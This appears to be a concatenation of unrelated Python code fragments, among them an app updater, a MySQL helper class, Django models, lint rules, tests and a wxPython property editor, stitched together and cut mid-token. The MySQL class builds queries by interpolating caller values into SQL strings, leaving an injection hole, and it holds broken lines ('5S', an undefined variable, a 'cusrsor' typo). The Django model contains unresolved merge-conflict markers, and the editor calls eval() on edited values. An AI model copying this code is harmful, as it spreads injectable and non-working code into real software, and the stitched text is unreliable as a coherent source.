self.removeDir(extracted_path) # Write update version to file self.createFile(self.version_file, json.dumps(self.update_version)) return True except: log.error('Failed updating: %s', traceback.format_exc()) self.update_failed = True return False def replaceWith(self, path): app_dir = ss(Env.get('app_dir')) # Get list of files we want to overwrite self.deletePyc() existing_files = [] for root, subfiles, filenames in os.walk(app_dir): for filename in filenames: existing_files.append(os.path.join(root, filename)) for root, subfiles, filenames in os.walk(path): for filename in filenames: fromfile = os.path.join(root, filename) tofile = os.path.join(app_dir, fromfile.replace(path + os.path.sep, '')) if not Env.get('dev'): try: if os.path.isfile(tofile): os.remove(tofile) dirname = os.path.dirname(tofile) if not os.path.isdir(dirname): self.makeDir(dirname) shutil.move(fromfile, tofile) try: existing_files.remove(tofile) except ValueError: pass except: log.error('Failed overwriting file ""%s"": %s', (tofile, traceback.format_exc())) return False if Env.get('app_dir') not in Env.get('data_dir'): for still_exists in existing_files: try: os.remove(still_exists) except: log.error('Failed removing non-used file: %s', traceback.format_exc()) return True def removeDir(self, path): try: if os.path.isdir(path): shutil.rmtree(path) except OSError, inst: os.chmod(inst.filename, 0777) self.removeDir(path) def getVersion(self): if not self.version: try: f = open(self.version_file, 'r') output = json.loads(f.read()) f.close() log.debug('Source version output: %s', output) self.version = output self.version['type'] = 'source' except Exception, e: log.error('Failed using source updater. %s', e) return {} return self.version def check(self): current_version = self.getVersion() try: latest = self.latestCommit() if latest.get('hash') != current_version.get('hash') and latest.get('date') >= current_version.get('date'): self.update_version = latest self.last_check = time.time() except: log.error('Failed updating via source: %s', traceback.format_exc()) return self.update_version is not None def latestCommit(self): try: url = 'https://api.github.com/repos/%s/%s/commits?per_page=1&sha=%s' % (self.repo_user, self.repo_name, self.branch) data = self.getCache('github.commit', url = url) commit = json.loads(data)[0] return { 'hash': commit['sha'], 'date': int(time.mktime(parse(commit['commit']['committer']['date']).timetuple())), } except: log.error('Failed getting latest request from github: %s', traceback.format_exc()) return {} class DesktopUpdater(BaseUpdater): def __init__(self): self.desktop = Env.get('desktop') def doUpdate(self): try: def do_restart(e): if e['status'] == 'done': fireEventAsync('app.restart') elif e['status'] == 'error': log.error('Failed updating desktop: %s', e['exception']) self.update_failed = True self.desktop._esky.auto_update(callback = do_restart) return except: self.update_failed = True return False def info(self): return { 'last_check': self.last_check, 'update_version': self.update_version, 'version': self.getVersion(), 'branch': self.branch, } def check(self): current_version = self.getVersion() try: latest = self.desktop._esky.find_update() if latest and latest != current_version.get('hash'): self.update_version = { 'hash': latest, 'date': None, 'changelog': self.desktop._changelogURL, } self.last_check = time.time() except: log.error('Failed updating desktop: %s', traceback.format_exc()) return self.update_version is not None def getVersion(self): return { 'hash': self.desktop._esky.active_version, 'date': None, 'type': 'desktop', } ",1 "[-+]?\d*\.?\d+(?:[eE][-+]?\d+)?$').match def is_number(string): return bool(float_match(string)) class MySQLDatabase(object): """""" This is the driver class that we will use for connecting to our database. In here we'll create a constructor (__init__) that will connect to the database once the driver class is instantiated and a destructor method that will close the database connection once the driver object is destroyed. """""" def __init__(self, database_name, username, password, host='localhost'): """""" Here we'll try to connect to the database using the variables that we passed through and if the connection fails we'll print out the error """""" try: self.db = _mysql.connect(db=database_name, host=host, user=username, passwd=password) self.database_name = database_name print ""Connected to MySQL!"" except _mysql.Error, e: print e def __del__(self): """""" Here we'll do a check to see if `self.db` is present. This will only be the case if the connection was successfully made in the initialiser. Inside that condition we'll close the connection """""" if hasattr(self, 'db'): self.db.close() print ""MySQL Connection Closed"" def get_available_tables(self): """""" This method will allow us to see what tables are available to us when we're running our queries """""" cursor = self.db.cursor() cursor.execute(""SHOW TABLES;"") self.tables = cursor.fetchall() cursor.close() return self.tables def convert_to_named_tuples(self, cursor): results = None names = "" "".join(d[0] for d in cursor.description) klass = namedtuple('Results', names) try: results = map(klass._make, cursor.fetchall()) except _mysql.ProgrammingError, e: print e return results def get_columns_for_table(self, table_name): """""" This method will enable us to interact with our database to find what columns are currently in a specific table """""" cursor = self.db.cursor() cursor.execute(""SHOW COLUMNS FROM `%s`"" % table_name) self.columns = cursor.fetchall() cursor.close() return self.columns def select(self, table, columns=None, named_tuples=False, **kwargs): """""" We'll create our `select` method in order to make it simpler for extracting data from the database. select(table_name, [list_of_column_names]) """""" sql_str = ""SELECT "" # add columns or just use the wildcard if not columns: sql_str += "" * "" else: for column in columns: sql_str += ""%s, "" % column sql_str = sql_str[:-2] # remove the last comma! # add the to the SELECT query sql_str += "" FROM `%s`.`%s`"" % (self.database_name, table) # if there's a JOIN clause attached if kwargs.has_key('join'): sql_str += "" JOIN %s "" % kwargs.get('join') # if there's a WHERE clause attached if kwargs.has_key('where'): sql_str += "" WHERE %s "" % kwargs.get('where') # if there's a LIMIT clause attached if kwargs.has_key('limit'): sql_str += "" LIMIT %s "" % kwargs.get('limit') # Finalise out SQL string sql_str += "";"" cursor = self.db.cursor() cursor.execute(sql_str) if named_tuples: results = self.convert_to_named_tuples(cursor) else: results = cursor.fetchall() cursor.close() return results def delete(self, table, **wheres): """""" This function will allow us to delete data from a given tables based on wether or not a WHERE clause is present or not """""" sql_str = ""DELETE FROM `%s`.`%s`"" % (self.database_name, table) if wheres is not None: first_where_clause = True for where, term in wheres.iteritems(): if first_where_clause: # This is the first WHERE clause sql_str += "" WHERE `%s`.`%s` %s"" % (table, where, term) first_where_clause = False else: # this is the second (additional) WHERE clause so we use AND sql_str += "" AND `%s`.`%s` %s"" % (table, where, term) sql_str += "";"" cursor = self.db.cursor() cursor.execute(sql_str) self.db.commit() cursor.close() # Only needs to compile one time so we put it here float_match = re.compile(r'[-+]?\d*\.?\d+(?:[eE][-+]?\d+)?$').match def is_number(string): return bool(float_match(string)) def insert(self, table, **column_names): """""" Insert function Example usages:- db.insert('people', first_name='Ringo', second_name='Starr', DOB=STR_TO_DATE('01-01-1999', '%d-%m-%Y')) """""" sql_str = ""INSERT INTO `%s`.`%s` "" % (self.database_name, table) if column_names is not None: columns = ""("" values = ""("" for arg, value in column_names.iteritems(): columns += ""`%s`, "" % arg # Check how we should add this to the columns string if is_number(value) or arg == 'DOB': # It's a number or date so we don't add the '' values += ""%s, "" % value else: # It's a string so we add the '' values += ""5S, "" % value columns = columns[:-2] # Strip off the spare ',' from the end values = values[:-2] # Same here too columns += "") VALUES"" # Add the connecting keyword and brace values += "");"" # Add the brace and like terminator sql_str += ""%s %s"" % (columns, values) cursor = self.db.cursor() cursor.execute(sql_str) self.db.commit() cursor.close() def update(self, table, where=None, **column_values): sql_str = ""UPDATE `%s`.`%s` SET "" % (self.database_name, table) if column_values is not None: for column_name, value in column_names.iteritems(): sql_str += ""`%s`="" % column_name # check how we should add this to the column string if is_number(value): # it's a number so we don't add '' sql_str += ""%s, "" % value else: # it's a date or string so add the '' sql_str += ""'%s', "" % value sql_str = sql_str[:-2] # strip off the last , and space character if where: sql_str += "" WHERE %s"" % where cusrsor = self.db.cursor() cursor.execute(sql_str) self.db.commit() cursor.close() ",1 " bytes_written_timeout: float = None, frames_written_timeout: float = None, hls_manifests_update_timeout: float = None, dash_manifests_update_timeout: float = None, schedule_expression: str = None): super().__init__() self.segmentsWrittenTimeout = segments_written_timeout self.bytesWrittenTimeout = bytes_written_timeout self.framesWrittenTimeout = frames_written_timeout self.hlsManifestsUpdateTimeout = hls_manifests_update_timeout self.dashManifestsUpdateTimeout = dash_manifests_update_timeout self.scheduleExpression = schedule_expression ",1 "nse""); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # from exaqute.ExaquteTask import * from pycompss.api.task import task from pycompss.api.api import compss_wait_on from pycompss.api.api import compss_barrier from pycompss.api.api import compss_delete_object from pycompss.api.api import compss_delete_file from pycompss.api.parameter import * from pycompss.api.implement import implement from pycompss.api.constraint import * class ExaquteTask(object): def __init__(self, *args, **kwargs): global scheduler scheduler = ""Current scheduler is PyCOMPSs"" self.task_instance = task(*args, **kwargs) def __call__(self, f): return self.task_instance.__call__(f) def barrier(): # Wait compss_barrier() def get_value_from_remote(obj): # Gather obj = compss_wait_on(obj) return obj def delete_object(obj): # Release compss_delete_object(obj) def delete_file(file_path): compss_delete_file(file_path) def compute(obj): # Submit task return obj ",1 "$', MethodDispatcher({ 'DELETE' : carenet_delete})), (r'^/rename$', MethodDispatcher({ 'POST' : carenet_rename})), (r'^/record$', MethodDispatcher({'GET':carenet_record})), # Manage documents (r'^/documents/', include('indivo.urls.carenet_documents')), # Manage accounts (r'^/accounts/$', MethodDispatcher({ 'GET' : carenet_account_list, 'POST' : carenet_account_create })), (r'^/accounts/(?P[^/]+)$', MethodDispatcher({ 'DELETE' : carenet_account_delete })), # Manage apps (r'^/apps/$', MethodDispatcher({ 'GET' : carenet_apps_list})), (r'^/apps/(?P[^/]+)$', MethodDispatcher({ 'PUT' : carenet_apps_create, 'DELETE': carenet_apps_delete})), # Permissions Calls (r'^/accounts/(?P[^/]+)/permissions$', MethodDispatcher({ 'GET' : carenet_account_permissions })), (r'^/apps/(?P[^/]+)/permissions$', MethodDispatcher({ 'GET' : carenet_app_permissions })), # Reporting Calls (r'^/reports/minimal/procedures/$', MethodDispatcher({'GET':carenet_procedure_list})), (r'^/reports/minimal/simple-clinical-notes/$', MethodDispatcher({'GET':carenet_simple_clinical_notes_list})), (r'^/reports/minimal/equipment/$', MethodDispatcher({'GET':carenet_equipment_list})), (r'^/reports/minimal/measurements/(?P[^/]+)/$', MethodDispatcher({'GET':carenet_measurement_list})), (r'^/reports/(?P[^/]+)/$', MethodDispatcher({'GET':carenet_generic_list})), # Demographics (r'^/demographics$', MethodDispatcher({'GET': read_demographics_carenet})), ) ",1 "shutil from gnupg import GPG def setup_keyring(keyring_name): '''Setup the keyring''' keyring_path = os.path.join(""test"", ""outputdata"", keyring_name) # Delete the entire keyring shutil.rmtree(keyring_path, ignore_errors=True) os.makedirs(keyring_path) gpg = GPG(gnupghome=keyring_path, gpgbinary=""gpg"") for key_name in [""key1_private"", ""key1_public""]: with open(os.path.join(""test"", ""inputdata"", key_name + "".txt""), ""r"") as keyfile: key_str = """".join(keyfile.readlines()) import_result = gpg.import_keys(key_str) print(""Import result:"", type(import_result)) print(import_result.__dict__) if import_result.count == 1 and len(set(import_result.fingerprints)) == 1: print(""Got one import result"") return gpg CRYPTO = setup_keyring(""keyringtest"") if CRYPTO: print(""Ready"", CRYPTO) KEY_LIST = CRYPTO.list_keys(False) NUM_KEYS = len(KEY_LIST) if KEY_LIST else 0 print(""Number of public keys:"", NUM_KEYS) if NUM_KEYS < 1: print(""ERROR: Number of keys should be 1, not"", NUM_KEYS) KEY_LIST = CRYPTO.list_keys(True) NUM_KEYS = len(KEY_LIST) if KEY_LIST else 0 print(""Number of private keys:"", NUM_KEYS) if NUM_KEYS < 1: print(""ERROR: Number of keys should be 1, not"", NUM_KEYS) ",1 ". # Licensed under the MIT License. See License.txt in the project root for # license information. # # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. # -------------------------------------------------------------------------- from msrest.serialization import Model class Destination(Model): """"""Capture storage details for capture description. :param name: Name for capture destination :type name: str :param storage_account_resource_id: Resource id of the storage account to be used to create the blobs :type storage_account_resource_id: str :param blob_container: Blob container Name :type blob_container: str :param archive_name_format: Blob naming convention for archive, e.g. {Namespace}/{EventHub}/{PartitionId}/{Year}/{Month}/{Day}/{Hour}/{Minute}/{Second}. Here all the parameters (Namespace,EventHub .. etc) are mandatory irrespective of order :type archive_name_format: str """""" _attribute_map = { 'name': {'key': 'name', 'type': 'str'}, 'storage_account_resource_id': {'key': 'properties.storageAccountResourceId', 'type': 'str'}, 'blob_container': {'key': 'properties.blobContainer', 'type': 'str'}, 'archive_name_format': {'key': 'properties.archiveNameFormat', 'type': 'str'}, } def __init__(self, name=None, storage_account_resource_id=None, blob_container=None, archive_name_format=None): self.name = name self.storage_account_resource_id = storage_account_resource_id self.blob_container = blob_container self.archive_name_format = archive_name_format ",1 "oftware and associated documentation files (the ""Software""), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED ""AS IS"", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. from typing import TYPE_CHECKING, Any, Dict, Union from ansiblelint.rules import AnsibleLintRule if TYPE_CHECKING: from typing import Optional from ansiblelint.file_utils import Lintable class MercurialHasRevisionRule(AnsibleLintRule): id = 'hg-latest' shortdesc = 'Mercurial checkouts must contain explicit revision' description = ( 'All version control checkouts must point to ' 'an explicit commit or tag, not just ``latest``' ) severity = 'MEDIUM' tags = ['idempotency'] version_added = 'historic' def matchtask( self, task: Dict[str, Any], file: 'Optional[Lintable]' = None ) -> Union[bool, str]: return bool( task['action']['__ansible_module__'] == 'hg' and task['action'].get('revision', 'default') == 'default' ) ",1 " def x(self): pass def fun(obj): pass class Class2(object): def __call__(self, obj): pass class SaferefTests(Case): def setUp(self): ts = [] ss = [] for x in xrange(5000): t = Class1() ts.append(t) s = safe_ref(t.x, self._closure) ss.append(s) ts.append(fun) ss.append(safe_ref(fun, self._closure)) for x in xrange(30): t = Class2() ts.append(t) s = safe_ref(t, self._closure) ss.append(s) self.ts = ts self.ss = ss self.closureCount = 0 def tearDown(self): del self.ts del self.ss def testIn(self): """"""Test the ""in"" operator for safe references (cmp)"""""" for t in self.ts[:50]: self.assertTrue(safe_ref(t.x) in self.ss) def testValid(self): """"""Test that the references are valid (return instance methods)"""""" for s in self.ss: self.assertTrue(s()) def testShortCircuit(self): """"""Test that creation short-circuits to reuse existing references"""""" sd = {} for s in self.ss: sd[s] = 1 for t in self.ts: if hasattr(t, 'x'): self.assertIn(safe_ref(t.x), sd) else: self.assertIn(safe_ref(t), sd) def testRepresentation(self): """"""Test that the reference object's representation works XXX Doesn't currently check the results, just that no error is raised """""" repr(self.ss[-1]) def _closure(self, ref): """"""Dumb utility mechanism to increment deletion counter"""""" self.closureCount += 1 ",1 "t and/or modify # it under the terms of the GNU Affero General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see . from django.contrib.auth.models import User, UserManager from django.utils.translation import ugettext_lazy as _ from django.db import models from django.db.models import signals, Avg, Q from datetime import date import os from django.conf import settings def create_profile_for_user(sender, **kwargs): ''' This way everytime a User is created, a Profile is created too. ''' if kwargs['created']: profile = Profile() if not kwargs['instance'].__dict__.has_key(""birth_date""): profile.birth_date = date.today() if not kwargs['instance'].__dict__.has_key(""address""): profile.address = _(""address"") profile.__dict__.update(kwargs['instance'].__dict__) profile.save() #signals.post_save.connect(create_profile_for_user, sender=User) class Profile(User): ''' <<<<<<< HEAD User with timebank settings. ======= User with time bank settings. >>>>>>> 2db144ba2c6c34a8f17f795a1186a524059b1aa6 ''' photo = models.ImageField(_(""Avatar""), blank=True, null=True, upload_to=os.path.join(settings.STATIC_DOC_ROOT, ""photos"")) <<<<<<< HEAD birth_date = models.DateField(_(""Rojstni datum""), default=date.today()) address = models.CharField(_(""Naslov""), max_length=100, default=_(""address"")) org_name = models.CharField(_(""Ime organizacije""), max_length=30, default=_(""org_name"")) first_name1 = models.CharField(_(""Ime zastopnika""), max_length=30, default=_(""first_name"")) last_name1 = models.CharField(_(""Priimek zastopnika""), max_length=30, default=_(""last_name"")) email1 = models.CharField(_(""E-mail zastopnika""), max_length=30, default=_(""email"")) # credits in minutes balance = models.IntegerField(default=600) ======= birth_date = models.DateField(_(""Birth date""), default=date.today()) address = models.CharField(_(""Address""), max_length=100, default=_(""address"")) # credits in minutes balance = models.IntegerField(default=0) >>>>>>> 2db144ba2c6c34a8f17f795a1186a524059b1aa6 def balance_hours(self): if self.balance % 60 == 0: return self.balance/60 return self.balance/60.0 <<<<<<< HEAD description = models.TextField(_(""Opis""), max_length=300, blank=True) land_line = models.CharField(_(""Stacionarni telefon""), max_length=20) mobile_tlf = models.CharField(_(""Mobilni telefon""), max_length=20) email_updates = models.BooleanField(_(u""Želim prejemati novice Časovne banke""), ======= description = models.TextField(_(""Personal address""), max_length=300, blank=True) land_line = models.CharField(_(""Land line""), max_length=20) mobile_tlf = models.CharField(_(""Mobile phone""), max_length=20) email_updates = models.BooleanField(_(""Receive email updates""), >>>>>>> 2db144ba2c6c34a8f17f795a1186a524059b1aa6 default=True) # Saving the user language allows sending emails to him in his desired # language (among other things) <<<<<<< HEAD lang_code = models.CharField(_(""Jezik""), max_length=10, default='') class Meta: verbose_name = _(""user"") verbose_name_plural = _(""users"") ======= lang_code = models.CharField(_(""Language Code""), max_length=10, default='') class Meta: verbose_name = _(""User"") verbose_name_plural = _(""Users"") >>>>>>> 2db144ba2c6c34a8f17f795a1186a524059b1aa6 def __unicode__(self): return self.username # Use UserManager to get the create_user method, etc. objects = UserManager() def __eq__(self, value): return value and self.id == value.id or False def transfers_pending(self): ''' Transfers from this user which are not in a final state ''' from serv.models import Transfer return Transfer.objects.filter(Q(credits_payee=self) \ | Q(credits_payee=self)).filter(status__in=['r', 'd']) def karma(self): ''' Average of the user's transfer scores ''' karma = self.transfers_received.aggregate(Avg('rating_score')) if karma['rating_score__avg']: return int(karma['rating_score__avg']) else: return 0 ",1 " """""" import hashlib from fabric.api import cd, hide, run, settings import fabtools with cd('/tmp'): run('touch f1') assert fabtools.files.md5sum('f1') == hashlib.md5('').hexdigest() run('echo -n hello > f2') assert fabtools.files.md5sum('f2') == hashlib.md5('hello').hexdigest() with settings(hide('warnings')): assert fabtools.files.md5sum('doesnotexist') is None ",1 " (ip >> (0*8)) & 0xFF, ] return '.'.join([str(i) for i in l]) def str2ip(line): a, b, c, d = [int(s) for s in line.split('.')] ip = 0 ip += (a << (3*8)) ip += (b << (2*8)) ip += (c << (1*8)) ip += (d << (0*8)) return ip blockip = str2ip(sys.stdin.readline()) hostmask = 1 bitcount = 1 for line in sys.stdin.readlines(): try: ip = str2ip(line.strip()) except: print 'Ignored line:', line, continue while (blockip & (~hostmask)) != (ip & (~hostmask)): hostmask = (hostmask << 1) | 1 bitcount += 1 print ip2str(blockip & (~hostmask)) + '/' + str(bitcount), 'hostmask =', ip2str(hostmask) print 'wrong way around' ",1 """""""Comentario"""""" contenido = models.TextField(help_text='Escribe un comentario') fecha_coment = models.DateField(auto_now=True) def __unicode__(self): return self.contenido class Estado(models.Model): """"""Estado"""""" nom_estado = models.CharField(max_length=50) def __unicode__(self): return nom_estado class Categoria(models.Model): """"""Categoria"""""" nombre = models.CharField(max_length=50) descripcion = models.TextField(help_text='Escribe una descripcion de la categoria') class Entrada(models.Model): """"""Entrada"""""" autor = models.ForeignKey(User) comentario = models.ForeignKey(Comentario) estado = models.ForeignKey(Estado) titulo = models.CharField(max_length=100) contenido = models.TextField(help_text='Redacta el contenido') fecha_pub = models.DateField(auto_now=True) def __unicode__(self): return self.titulo class Agregador(models.Model): """"""agreador"""""" entrada = models.ForeignKey(Entrada) categoria = models.ManyToManyField(Categoria)",1 "ctory. """""" SVN_PATH = ""svn://anonsvn.kde.org/home/kde/trunk/l10n-kf5/"" SOURCE_PO_PATH = ""/messages/kdereview/gcompris_qt.po"" OUTPUT_PO_PATH = ""./po/"" OUTPUT_PO_PATTERN = ""gcompris_%s.po"" fixer = re.compile(r'^#~\| ', re.MULTILINE) re_empty_msgid = re.compile('^msgid """"$', re.MULTILINE) re_empty_line = re.compile('^$', re.MULTILINE) re_has_qt_contexts = re.compile('X-Qt-Contexts: true\\n') if not os.path.exists(OUTPUT_PO_PATH): os.mkdir(OUTPUT_PO_PATH) all_languages = subprocess.check_output(['svn', 'cat', SVN_PATH + 'subdirs'], stderr=subprocess.STDOUT) all_languages = [x.strip() for x in all_languages.split(""\n"") if len(x)] all_languages.remove(""x-test"") for lang in all_languages: try: raw_data = subprocess.check_output(['svn', 'cat', SVN_PATH + lang + SOURCE_PO_PATH], stderr=subprocess.PIPE) (transformed, subs) = fixer.subn('# ~| ', raw_data) pos1 = re_empty_msgid.search(transformed).start() pos2 = re_empty_line.search(transformed).start() if re_has_qt_contexts.search(transformed, pos1, pos2) is None: transformed = transformed[:pos2] + \ '""X-Qt-Contexts: true\\n""\n' + \ transformed[pos2:] subs = subs + 1 if (subs > 0): print ""Fetched %s (and performed %d cleanups)"" % (lang, subs) else: print ""Fetched %s"" % lang file(OUTPUT_PO_PATH + OUTPUT_PO_PATTERN % lang, ""wb"").write(transformed) except subprocess.CalledProcessError: print ""No data for %s"" % lang # Inform qmake about the updated file list #os.utime(""CMakeLists.txt"", None) ",1 "ingart@gmail.com)"" __copyright__ = ""Copyright (C) 2013- Mariano Reingart"" __license__ = ""LGPL 3.0"" # some parts where inspired or borrowed from wxFormBuilders & wxPython examples import sys, time, math, os, os.path import wx _ = wx.GetTranslation import wx.propgrid as wxpg from gui.component import InitSpec, StyleSpec, Spec, EventSpec, DimensionSpec from gui.font import Font DEBUG = False class PropertyEditorPanel(wx.Panel): def __init__( self, parent, log ): wx.Panel.__init__(self, parent, wx.ID_ANY) self.log = log self.callback = None self.panel = panel = wx.Panel(self, wx.ID_ANY) topsizer = wx.BoxSizer(wx.VERTICAL) # Difference between using PropertyGridManager vs PropertyGrid is that # the manager supports multiple pages and a description box. self.pg = pg = wxpg.PropertyGrid(panel, style=wxpg.PG_SPLITTER_AUTO_CENTER | wxpg.PG_AUTO_SORT | wxpg.PG_TOOLBAR) # Show help as tooltips pg.SetExtraStyle(wxpg.PG_EX_HELP_AS_TOOLTIPS) pg.Bind( wxpg.EVT_PG_CHANGED, self.OnPropGridChange ) pg.Bind( wxpg.EVT_PG_PAGE_CHANGED, self.OnPropGridPageChange ) pg.Bind( wxpg.EVT_PG_SELECTED, self.OnPropGridSelect ) pg.Bind( wxpg.EVT_PG_RIGHT_CLICK, self.OnPropGridRightClick ) ##pg.AddPage( ""Page 1 - Testing All"" ) # store the property grid for future reference self.pg = pg # load empty object (just draws categories) self.load_object(None) # sizing stuff: topsizer.Add(pg, 1, wx.EXPAND) panel.SetSizer(topsizer) topsizer.SetSizeHints(panel) sizer = wx.BoxSizer(wx.VERTICAL) sizer.Add(panel, 1, wx.EXPAND) self.SetSizer(sizer) self.SetAutoLayout(True) def load_object(self, obj, callback=None): pg = self.pg # get the property grid reference self.callback = callback # store the update method # delete all properties pg.Clear() # clean references and aux structures appended = set() self.obj = obj self.groups = {} # loop on specs and append each property (categorized): for i, cat, class_ in ((1, 'Init Specs', InitSpec), (2, 'Dimension Specs', DimensionSpec), (3, 'Style Specs', StyleSpec), (5, 'Events', EventSpec), (4, 'Basic Specs', Spec), ): pg.Append(wxpg.PropertyCategory(""%s - %s"" % (i, cat))) if obj is None: continue specs = sorted(obj._meta.specs.items(), key=lambda it: it[0]) for name, spec in specs: if DEBUG: print ""setting prop"", spec, class_, spec.type if isinstance(spec, class_): prop = {'string': wxpg.StringProperty, 'integer': wxpg.IntProperty, 'float': wxpg.FloatProperty, 'boolean': wxpg.BoolProperty, 'text': wxpg.LongStringProperty, 'code': wxpg.LongStringProperty, 'enum': wxpg.EnumProperty, 'edit_enum': wxpg.EditEnumProperty, 'expr': wxpg.StringProperty, 'array': wxpg.ArrayStringProperty, 'font': wxpg.FontProperty, 'image_file': wxpg.ImageFileProperty, 'colour': wxpg.ColourProperty}.get(spec.type) if prop and name not in appended: value = getattr(obj, name) if DEBUG: print ""name"", name, value if spec.type == ""code"" and value is None: value = """" if spec.type == ""boolean"" and value is None: value = False if spec.type == ""integer"" and value is None: value = -1 if spec.type in (""string"", ""text"") and value is None: value = """" if spec.type == ""expr"": value = repr(value) if spec.type == ""font"": if value is None: value = wx.NullFont else: value = value.get_wx_font() if callable(value): # event binded at runtime cannot be modified: value = str(value) readonly = True else: readonly = False if spec.type == ""enum"": prop = prop(name, name, spec.mapping.keys(), spec.mapping.values(), value=spec.mapping.get(value, 0)) elif spec.type == ""edit_enum"": prop = prop(name, name, spec.mapping.keys(), range(len(spec.mapping.values())), value=spec.mapping[value]) else: try: prop = prop(name, value=value) except Exception, e: print ""CANNOT LOAD PROPERTY"", name, value, e prop.SetPyClientData(spec) appended.add(name) if spec.group is None: pg.Append(prop) if readonly: pg.SetPropertyReadOnly(prop) else: # create a group hierachy (wxpg uses dot notation) group = """" prop_parent = None for grp in spec.group.split("".""): prev_group = group # ancestor group += (""."" if group else """") + grp # path if group in self.groups: prop_parent = self.groups[group] else: prop_group = wxpg.StringProperty(grp, value="""") if not prop_parent: pg.Append(prop_group) else: pg.AppendIn(prev_group, prop_group) prop_parent = prop_group self.groups[group] = prop_parent pg.SetPropertyReadOnly(group) pg.AppendIn(spec.group, prop) pg.Collapse(spec.group) name = spec.group + ""."" + name if spec.type == ""boolean"": pg.SetPropertyAttribute(name, ""UseCheckbox"", True) doc = spec.__doc__ if doc: pg.SetPropertyHelpString(name, doc) def edit(self, name=""""): ""Programatically select a (default) property to start editing it"" # for more info see DoSelectAndEdit in propgrid.cpp for name in (name, ""label"", ""value"", ""text"", ""title"", ""filename"", ""name""): prop = self.pg.GetPropertyByName(name) if prop is not None: break self.Parent.SetFocus() self.Parent.Raise() self.pg.SetFocus() # give time to the ui to show the prop grid and set focus: wx.CallLater(250, self.select, prop.GetName()) def select(self, name, flags=0): ""Select a property (and start the editor)"" # do not call this directly from another window, use edit() instead # // wxPropertyGrid::DoSelectProperty flags (selFlags) -see propgrid.h- wxPG_SEL_FOCUS=0x0001 # Focuses to created editor wxPG_SEL_FORCE=0x0002 # Forces deletion and recreation of editor flags |= wxPG_SEL_FOCUS # | wxPG_SEL_FORCE prop = self.pg.GetPropertyByName(name) self.pg.SelectProperty(prop, flags) if DEBUG: print ""selected!"", prop def OnPropGridChange(self, event): p = event.GetProperty() if DEBUG: print ""change!"", p if p: name = p.GetName() spec = p.GetPyClientData() if spec and 'enum' in spec.type: value = p.GetValueAsString() else: value = p.GetValue() #self.log.write(u'%s changed to ""%s""\n' % (p,p.GetValueAsString())) # if it a property child (parent.child), extract its name if ""."" in name: name = name[name.rindex(""."") + 1:] if spec and not name in self.groups: if name == 'font': # TODO: detect property type # create a gui font from the wx.Font font = Font() font.set_wx_font(value) value = font # expressions must be evaluated to store the python object if spec.type == ""expr"": value = eval(value) # re-create the wx_object with the new property value # (this is required at least to apply new styles and init specs) if DEBUG: print ""changed"", self.obj.name kwargs = {str(name): value} wx.CallAfter(self.obj.rebuild, **kwargs) if name == 'name': wx.CallAfter(self.callback, **dict(name=self.obj.name)) def OnPropGridSelect(self, event): p = event.GetProperty() if p: self.log.write(u'%s selected\n' % (event.GetProperty().GetName())) else: self.log.write(u'Nothing selected\n') def OnDeleteProperty(self, event): p = self.pg.GetSelectedProperty() if p: self.pg.DeleteProperty(p) else: wx.MessageBox(""First select a property to delete"") def OnReserved(self, event): pass def OnPropGridRightClick(self, event): p = event.GetProperty() if p: self.log.write(u'%s right clicked\n' % (event.GetProperty().GetName())) else: self.log.write(u'Nothing right clicked\n') #self.obj.get_parent().Refresh() def OnPropGridPageChange(self, event): index = self.pg.GetSelectedPage() self.log.write('Page Changed to \'%s\'\n' % (self.pg.GetPageName(index))) if __name__ == '__main__': import sys,os app = wx.App() f = wx.Frame(None) from gui.controls import Button, Label, TextBox, CheckBox, ListBox, ComboBox frame = wx.Frame(None) #o = Button(frame, name=""btnTest"", label=""click me!"", default=True) #o = Label(frame, name=""lblTest"", alignment=""right"", size=(-1, 500), text=""hello!"") o = TextBox(frame, name=""txtTest"", border=False, text=""hello world!"") #o = CheckBox(frame, name=""chkTest"", border='none', label=""Check me!"") #o = ListBox(frame, name=""lstTest"", border='none', # items={'datum1': 'a', 'datum2':'b', 'datum3':'c'}, # multiselect=""--multiselect"" in sys.argv) #o = ComboBox(frame, name=""cboTest"", # items={'datum1': 'a', 'datum2':'b', 'datum3':'c'}, # readonly='--readonly' in sys.argv, # ) frame.Show() log = sys.stdout w = PropertyEditorPanel(f, log) w.load_object(o) f.Show() app.MainLoop() ",1 "nning as root. Derived from ping.c distributed in Linux's netkit. That code is copyright (c) 1989 by The Regents of the University of California. That code is in turn derived from code written by Mike Muuss of the US Army Ballistic Research Laboratory in December, 1983 and placed in the public domain. They have my thanks. Bugs are naturally mine. I'd be glad to hear about them. There are certainly word - size dependenceies here. Copyright (c) Matthew Dixon Cowles, . Distributable under the terms of the GNU General Public License version 2. Provided with no warranties of any sort. Original Version from Matthew Dixon Cowles: -> ftp://ftp.visi.com/users/mdc/ping.py Rewrite by Jens Diemer: -> http://www.python-forum.de/post-69122.html#69122 Rewrite by George Notaras: -> http://www.g-loaded.eu/2009/10/30/python-ping/ Revision history ~~~~~~~~~~~~~~~~ November 8, 2009 ---------------- Improved compatibility with GNU/Linux systems. Fixes by: * 